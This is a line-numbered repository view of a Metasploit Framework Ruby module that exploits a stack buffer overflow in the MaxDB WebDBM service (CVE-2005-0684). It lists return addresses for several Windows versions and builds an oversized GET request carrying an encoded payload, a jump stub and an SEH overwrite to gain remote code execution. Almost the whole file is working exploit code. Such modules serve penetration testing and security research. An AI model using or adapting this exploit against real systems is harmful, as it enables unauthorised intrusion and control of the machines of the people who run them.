Statistics
| Branch: | Tag: | Revision:

root / modules / exploits / windows / http / maxdb_webdbm_get_overflow.rb @ master

History | View | Annotate | Download (2.6 kB)

1
##
2
# $Id$
3
##
4

    
5
##
6
# This file is part of the Metasploit Framework and may be subject to
7
# redistribution and commercial restrictions. Please see the Metasploit
8
# web site for more information on licensing and terms of use.
9
#   http://metasploit.com/
10
##
11

    
12
require 'msf/core'
13

    
14
class Metasploit3 < Msf::Exploit::Remote
15
        Rank = GoodRanking
16

    
17
        include Msf::Exploit::Remote::HttpClient
18

    
19
        def initialize(info = {})
20
                super(update_info(info,
21
                        'Name'           => 'MaxDB WebDBM GET Buffer Overflow',
22
                        'Description'    => %q{
23
                                        This module exploits a stack buffer overflow in the MaxDB WebDBM
24
                                service. This service is included with many recent versions
25
                                of the MaxDB and SAPDB products. This particular module is
26
                                capable of exploiting Windows systems through the use of an
27
                                SEH frame overwrite. The offset to the SEH frame may change
28
                                depending on where MaxDB has been installed, this module
29
                                assumes a web root path with the same length as:
30

    
31
                                C:\Program Files\sdb\programs\web\Documents
32
                        },
33
                        'Author'         => [ 'hdm' ],
34
                        'License'        => MSF_LICENSE,
35
                        'Version'        => '$Revision$',
36
                        'References'     =>
37
                                [
38
                                        [ 'CVE', '2005-0684'],
39
                                        [ 'OSVDB', '15816'],
40
                                        [ 'URL', 'http://www.idefense.com/application/poi/display?id=234&type=vulnerabilities'],
41
                                        [ 'BID', '13368'],
42
                                ],
43
                        'Privileged'     => true,
44
                        'Payload'        =>
45
                                {
46
                                        'Space'    => 2052,
47
                                        'BadChars' => "\x00\x3a\x26\x3f\x25\x23\x20\x0a\x0d\x2f\x2b\x0b\x5c\x40",
48
                                        'StackAdjustment' => -3500,
49
                                },
50
                                'Platform'   => 'win',
51
                        'Targets'        =>
52
                                [
53
                                        ['MaxDB 7.5.00.11 / 7.5.00.24', { 'Ret' => 0x1002aa19 }], # wapi.dll
54
                                        ['Windows 2000 English',        { 'Ret' => 0x75022ac4 }], # ws2help.dll
55
                                        ['Windows XP English SP0/SP1',  { 'Ret' => 0x71aa32ad }], # ws2help.dll
56
                                        ['Windows 2003 English',        { 'Ret' => 0x7ffc0638 }], # peb magic :-)
57
                                        ['Windows NT 4.0 SP4/SP5/SP6',  { 'Ret' => 0x77681799 }], # ws2help.dll
58
                                ],
59
                        'DisclosureDate' => 'Apr 26 2005',
60
                        'DefaultTarget' => 0))
61

    
62
                register_options(
63
                        [
64
                                Opt::RPORT(9999)
65
                        ], self.class)
66
        end
67

    
68
        def exploit
69
                # Trigger the SEH by writing past the end of the page after
70
                # the SEH is already overwritten. This avoids the other smashed
71
                # pointer exceptions and goes straight to the payload.
72
                buf = rand_text_alphanumeric(16384)
73
                buf[1586, payload.encoded.length] = payload.encoded
74
                buf[3638, 5] = "\xe9" + [-2052].pack('V')
75
                buf[3643, 2] = "\xeb\xf9"
76
                buf[3647, 4] = [target.ret].pack('V')
77

    
78
                print_status("Trying target address 0x%.8x..." % target.ret)
79

    
80
                send_request_raw({
81
                        'uri' => '/%' + buf
82
                }, 5)
83

    
84
                handler
85
        end
86

    
87
end